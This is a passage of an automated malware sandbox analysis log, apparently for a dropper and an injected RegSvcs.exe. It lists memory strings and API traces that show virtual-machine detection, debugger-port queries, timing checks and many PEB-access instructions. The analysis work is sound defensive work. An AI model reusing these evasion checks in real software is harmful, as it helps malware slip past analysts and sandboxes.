              Source: gbkusncub.ppt.exe, 0000001B.00000003.2641927200.000000000132F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
              Source: explorer.exe, 00000011.00000000.2331902622.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2641635810.0000000001804000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VboxService.exe") Then1X1
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2723079301.0000000001853000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VboxService.exe
              Source: explorer.exe, 00000011.00000002.4573390953.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
              Source: hcmdvu.msc.0.drBinary or memory string: If ProcessExists("VBoxTray.exe") Then
              Source: explorer.exe, 00000011.00000002.4573390953.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeAPI call chain: ExitProcess graph end nodegraph_0-28465
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeProcess queried: DebugPortJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeProcess queried: DebugPort
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeProcess queried: DebugPort
              Source: C:\Windows\SysWOW64\chkdsk.exeProcess queried: DebugPort
              Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess queried: DebugPort
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeProcess queried: DebugPort
              Source: C:\Windows\SysWOW64\cmmon32.exeProcess queried: DebugPort
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeProcess queried: DebugPort
              Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess queried: DebugPort
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139B180 rdtsc 8_3_0139B180
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0040ACF0 LdrLoadDll,16_2_0040ACF0
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB6878 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00DB6878
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00715D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,8_2_00715D78
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DBECAA mov eax, dword ptr fs:[00000030h]0_2_00DBECAA
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01370124 mov eax, dword ptr fs:[00000030h]16_2_01370124
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EA118 mov ecx, dword ptr fs:[00000030h]16_2_013EA118
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EA118 mov eax, dword ptr fs:[00000030h]16_2_013EA118
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EA118 mov eax, dword ptr fs:[00000030h]16_2_013EA118
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EA118 mov eax, dword ptr fs:[00000030h]16_2_013EA118
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov eax, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov ecx, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov eax, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov eax, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov ecx, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov eax, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov eax, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov ecx, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov eax, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE10E mov ecx, dword ptr fs:[00000030h]16_2_013EE10E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01400115 mov eax, dword ptr fs:[00000030h]16_2_01400115
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346154 mov eax, dword ptr fs:[00000030h]16_2_01346154
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346154 mov eax, dword ptr fs:[00000030h]16_2_01346154
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133C156 mov eax, dword ptr fs:[00000030h]16_2_0133C156
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D8158 mov eax, dword ptr fs:[00000030h]16_2_013D8158
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D4144 mov eax, dword ptr fs:[00000030h]16_2_013D4144
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D4144 mov eax, dword ptr fs:[00000030h]16_2_013D4144
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D4144 mov ecx, dword ptr fs:[00000030h]16_2_013D4144
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D4144 mov eax, dword ptr fs:[00000030h]16_2_013D4144
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D4144 mov eax, dword ptr fs:[00000030h]16_2_013D4144
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014061C3 mov eax, dword ptr fs:[00000030h]16_2_014061C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014061C3 mov eax, dword ptr fs:[00000030h]16_2_014061C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C019F mov eax, dword ptr fs:[00000030h]16_2_013C019F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C019F mov eax, dword ptr fs:[00000030h]16_2_013C019F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C019F mov eax, dword ptr fs:[00000030h]16_2_013C019F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C019F mov eax, dword ptr fs:[00000030h]16_2_013C019F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133A197 mov eax, dword ptr fs:[00000030h]16_2_0133A197
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133A197 mov eax, dword ptr fs:[00000030h]16_2_0133A197
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133A197 mov eax, dword ptr fs:[00000030h]16_2_0133A197
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014161E5 mov eax, dword ptr fs:[00000030h]16_2_014161E5
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FC188 mov eax, dword ptr fs:[00000030h]16_2_013FC188
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FC188 mov eax, dword ptr fs:[00000030h]16_2_013FC188
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01380185 mov eax, dword ptr fs:[00000030h]16_2_01380185
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E4180 mov eax, dword ptr fs:[00000030h]16_2_013E4180
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E4180 mov eax, dword ptr fs:[00000030h]16_2_013E4180
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013701F8 mov eax, dword ptr fs:[00000030h]16_2_013701F8
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE1D0 mov eax, dword ptr fs:[00000030h]16_2_013BE1D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE1D0 mov eax, dword ptr fs:[00000030h]16_2_013BE1D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE1D0 mov ecx, dword ptr fs:[00000030h]16_2_013BE1D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE1D0 mov eax, dword ptr fs:[00000030h]16_2_013BE1D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE1D0 mov eax, dword ptr fs:[00000030h]16_2_013BE1D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D6030 mov eax, dword ptr fs:[00000030h]16_2_013D6030
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133A020 mov eax, dword ptr fs:[00000030h]16_2_0133A020
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133C020 mov eax, dword ptr fs:[00000030h]16_2_0133C020
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E016 mov eax, dword ptr fs:[00000030h]16_2_0135E016
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E016 mov eax, dword ptr fs:[00000030h]16_2_0135E016
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E016 mov eax, dword ptr fs:[00000030h]16_2_0135E016
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E016 mov eax, dword ptr fs:[00000030h]16_2_0135E016
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C4000 mov ecx, dword ptr fs:[00000030h]16_2_013C4000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E2000 mov eax, dword ptr fs:[00000030h]16_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136C073 mov eax, dword ptr fs:[00000030h]16_2_0136C073
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01342050 mov eax, dword ptr fs:[00000030h]16_2_01342050
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6050 mov eax, dword ptr fs:[00000030h]16_2_013C6050
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D80A8 mov eax, dword ptr fs:[00000030h]16_2_013D80A8
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134208A mov eax, dword ptr fs:[00000030h]16_2_0134208A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133C0F0 mov eax, dword ptr fs:[00000030h]16_2_0133C0F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013820F0 mov ecx, dword ptr fs:[00000030h]16_2_013820F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133A0E3 mov ecx, dword ptr fs:[00000030h]16_2_0133A0E3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C60E0 mov eax, dword ptr fs:[00000030h]16_2_013C60E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013480E9 mov eax, dword ptr fs:[00000030h]16_2_013480E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C20DE mov eax, dword ptr fs:[00000030h]16_2_013C20DE
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014060B8 mov eax, dword ptr fs:[00000030h]16_2_014060B8
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014060B8 mov ecx, dword ptr fs:[00000030h]16_2_014060B8
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140A352 mov eax, dword ptr fs:[00000030h]16_2_0140A352
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133C310 mov ecx, dword ptr fs:[00000030h]16_2_0133C310
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01360310 mov ecx, dword ptr fs:[00000030h]16_2_01360310
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A30B mov eax, dword ptr fs:[00000030h]16_2_0137A30B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A30B mov eax, dword ptr fs:[00000030h]16_2_0137A30B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A30B mov eax, dword ptr fs:[00000030h]16_2_0137A30B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E437C mov eax, dword ptr fs:[00000030h]16_2_013E437C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C035C mov eax, dword ptr fs:[00000030h]16_2_013C035C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C035C mov eax, dword ptr fs:[00000030h]16_2_013C035C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C035C mov eax, dword ptr fs:[00000030h]16_2_013C035C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C035C mov ecx, dword ptr fs:[00000030h]16_2_013C035C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C035C mov eax, dword ptr fs:[00000030h]16_2_013C035C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C035C mov eax, dword ptr fs:[00000030h]16_2_013C035C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E8350 mov ecx, dword ptr fs:[00000030h]16_2_013E8350
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C2349 mov eax, dword ptr fs:[00000030h]16_2_013C2349
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01338397 mov eax, dword ptr fs:[00000030h]16_2_01338397
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01338397 mov eax, dword ptr fs:[00000030h]16_2_01338397
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01338397 mov eax, dword ptr fs:[00000030h]16_2_01338397
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136438F mov eax, dword ptr fs:[00000030h]16_2_0136438F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136438F mov eax, dword ptr fs:[00000030h]16_2_0136438F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133E388 mov eax, dword ptr fs:[00000030h]16_2_0133E388
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133E388 mov eax, dword ptr fs:[00000030h]16_2_0133E388
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133E388 mov eax, dword ptr fs:[00000030h]16_2_0133E388
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E3F0 mov eax, dword ptr fs:[00000030h]16_2_0135E3F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E3F0 mov eax, dword ptr fs:[00000030h]16_2_0135E3F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E3F0 mov eax, dword ptr fs:[00000030h]16_2_0135E3F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013763FF mov eax, dword ptr fs:[00000030h]16_2_013763FF
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013503E9 mov eax, dword ptr fs:[00000030h]16_2_013503E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE3DB mov eax, dword ptr fs:[00000030h]16_2_013EE3DB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE3DB mov eax, dword ptr fs:[00000030h]16_2_013EE3DB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE3DB mov ecx, dword ptr fs:[00000030h]16_2_013EE3DB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EE3DB mov eax, dword ptr fs:[00000030h]16_2_013EE3DB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E43D4 mov eax, dword ptr fs:[00000030h]16_2_013E43D4
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E43D4 mov eax, dword ptr fs:[00000030h]16_2_013E43D4
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FC3CD mov eax, dword ptr fs:[00000030h]16_2_013FC3CD
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A3C0 mov eax, dword ptr fs:[00000030h]16_2_0134A3C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A3C0 mov eax, dword ptr fs:[00000030h]16_2_0134A3C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A3C0 mov eax, dword ptr fs:[00000030h]16_2_0134A3C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A3C0 mov eax, dword ptr fs:[00000030h]16_2_0134A3C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A3C0 mov eax, dword ptr fs:[00000030h]16_2_0134A3C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A3C0 mov eax, dword ptr fs:[00000030h]16_2_0134A3C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013483C0 mov eax, dword ptr fs:[00000030h]16_2_013483C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013483C0 mov eax, dword ptr fs:[00000030h]16_2_013483C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013483C0 mov eax, dword ptr fs:[00000030h]16_2_013483C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013483C0 mov eax, dword ptr fs:[00000030h]16_2_013483C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C63C0 mov eax, dword ptr fs:[00000030h]16_2_013C63C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133823B mov eax, dword ptr fs:[00000030h]16_2_0133823B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0274 mov eax, dword ptr fs:[00000030h]16_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344260 mov eax, dword ptr fs:[00000030h]16_2_01344260
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344260 mov eax, dword ptr fs:[00000030h]16_2_01344260
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344260 mov eax, dword ptr fs:[00000030h]16_2_01344260
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133826B mov eax, dword ptr fs:[00000030h]16_2_0133826B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133A250 mov eax, dword ptr fs:[00000030h]16_2_0133A250
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346259 mov eax, dword ptr fs:[00000030h]16_2_01346259
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FA250 mov eax, dword ptr fs:[00000030h]16_2_013FA250
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FA250 mov eax, dword ptr fs:[00000030h]16_2_013FA250
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C8243 mov eax, dword ptr fs:[00000030h]16_2_013C8243
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C8243 mov ecx, dword ptr fs:[00000030h]16_2_013C8243
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D62A0 mov eax, dword ptr fs:[00000030h]16_2_013D62A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D62A0 mov ecx, dword ptr fs:[00000030h]16_2_013D62A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D62A0 mov eax, dword ptr fs:[00000030h]16_2_013D62A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D62A0 mov eax, dword ptr fs:[00000030h]16_2_013D62A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D62A0 mov eax, dword ptr fs:[00000030h]16_2_013D62A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D62A0 mov eax, dword ptr fs:[00000030h]16_2_013D62A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E284 mov eax, dword ptr fs:[00000030h]16_2_0137E284
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E284 mov eax, dword ptr fs:[00000030h]16_2_0137E284
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C0283 mov eax, dword ptr fs:[00000030h]16_2_013C0283
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C0283 mov eax, dword ptr fs:[00000030h]16_2_013C0283
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C0283 mov eax, dword ptr fs:[00000030h]16_2_013C0283
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013502E1 mov eax, dword ptr fs:[00000030h]16_2_013502E1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013502E1 mov eax, dword ptr fs:[00000030h]16_2_013502E1
